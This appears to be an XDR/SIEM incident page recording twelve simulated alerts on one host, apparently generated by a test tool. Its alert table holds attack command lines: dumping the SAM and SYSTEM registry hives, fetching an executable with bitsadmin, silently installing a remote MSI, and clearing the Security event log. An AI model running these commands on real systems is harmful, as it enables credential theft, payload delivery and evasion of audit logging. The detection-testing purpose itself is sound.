Back to list

Critical CINC-20251220-EFE5D63D new

Aggregate ID: aggind:024efd237c2d4f87958607652cb04c8b:8600649095

Incident Overview

Incident ID CINC-20251220-EFE5D63D
Severity Critical (90)
Status new
Alert Count 12
Host Count 1

Timeline

First Seen 2025-12-18 09:27:21
Last Seen 2025-12-18 09:41:52
Duration 0d 0h 14m
Created 2025-12-20 13:23
Updated 2026-01-13 15:14

Kill Chain Analysis

Rec... Ini... Exe... Per... Pri... Def... Cre... Dis... Lat... Col... Com... Exf... Imp...
Observed Tactics:
Credential Access Defense Evasion Persistence Execution
Techniques:
OS Credential Dumping BITS Jobs Event Triggered Execution Indicator Removal User Execution

Affected Hosts (1)

BOOK-R0BE6S1NC3

Related Alerts (12)

Severity Status Hostname Description Tactic Command Line Time
Critical new BOOK-R0BE6S1NC3 A process saved the Security Account Manager SAM or SYSTEM hive to disk. If this is unexpected, it likely indicates credential theft. Investigate the process tree. Credential Access reg save HKLM\SYSTEM C:\Users\ubuntu\AppData\Local\Temp\sys.hiv 12-18 09:41
High new BOOK-R0BE6S1NC3 A process attempted to download a file using bitsadmin in an unusual way. The file might be a malicious payload. Investigate the process tree. Defense Evasion bitsadmin /transfer j http://127.0.0.1/t C:\Users\ubuntu\AppData\Local\Temp\b.exe 12-18 09:41
High new BOOK-R0BE6S1NC3 Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Please review the installer package and any pre- or post-install actions. Persistence msiexec /q /i http://127.0.0.1/test.msi 12-18 09:38
High new BOOK-R0BE6S1NC3 A process attempted to download a file using bitsadmin in an unusual way. The file might be a malicious payload. Investigate the process tree. Defense Evasion bitsadmin /transfer j http://127.0.0.1/t C:\Users\ubuntu\AppData\Local\Temp\b.exe 12-18 09:38
High new BOOK-R0BE6S1NC3 Adversaries may establish persistence and elevate privileges by using an installer to trigger the execution of malicious content. Please review the installer package and any pre- or post-install actions. Persistence msiexec /q /i http://127.0.0.1/test.msi 12-18 09:34
Critical new BOOK-R0BE6S1NC3 A process saved the Security Account Manager SAM or SYSTEM hive to disk. If this is unexpected, it likely indicates credential theft. Investigate the process tree. Credential Access reg save HKLM\SAM C:\Users\ubuntu\AppData\Local\Temp\sam.hiv 12-18 09:34
Critical new BOOK-R0BE6S1NC3 A process saved the Security Account Manager SAM or SYSTEM hive to disk. If this is unexpected, it likely indicates credential theft. Investigate the process tree. Credential Access reg save HKLM\SYSTEM C:\Users\ubuntu\AppData\Local\Temp\sys.hiv 12-18 09:34
High new BOOK-R0BE6S1NC3 A process attempted to download a file using bitsadmin in an unusual way. The file might be a malicious payload. Investigate the process tree. Defense Evasion bitsadmin /transfer j http://127.0.0.1/t C:\Users\ubuntu\AppData\Local\Temp\b.exe 12-18 09:34
Critical new BOOK-R0BE6S1NC3 A process saved the Security Account Manager SAM or SYSTEM hive to disk. If this is unexpected, it likely indicates credential theft. Investigate the process tree. Credential Access reg save HKLM\SYSTEM C:\Users\ubuntu\AppData\Local\Temp\sys.hiv 12-18 09:30
Critical new BOOK-R0BE6S1NC3 A process saved the Security Account Manager SAM or SYSTEM hive to disk. If this is unexpected, it likely indicates credential theft. Investigate the process tree. Credential Access reg save HKLM\SAM C:\Users\ubuntu\AppData\Local\Temp\sam.hiv 12-18 09:30
High new BOOK-R0BE6S1NC3 A process removed or cleared Windows Event Logs. Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Investigate the process tree. Defense Evasion wevtutil cl Security 12-18 09:30
Informational new BOOK-R0BE6S1NC3 A process has written a known EICAR test file. Review the files written by the triggered process. Execution "C:\app\cortex-xdr-siem-test\xdr_tools\MegaGenerator\bin\publish\MegaGenerator.exe" --once --scenarios 15 12-18 09:27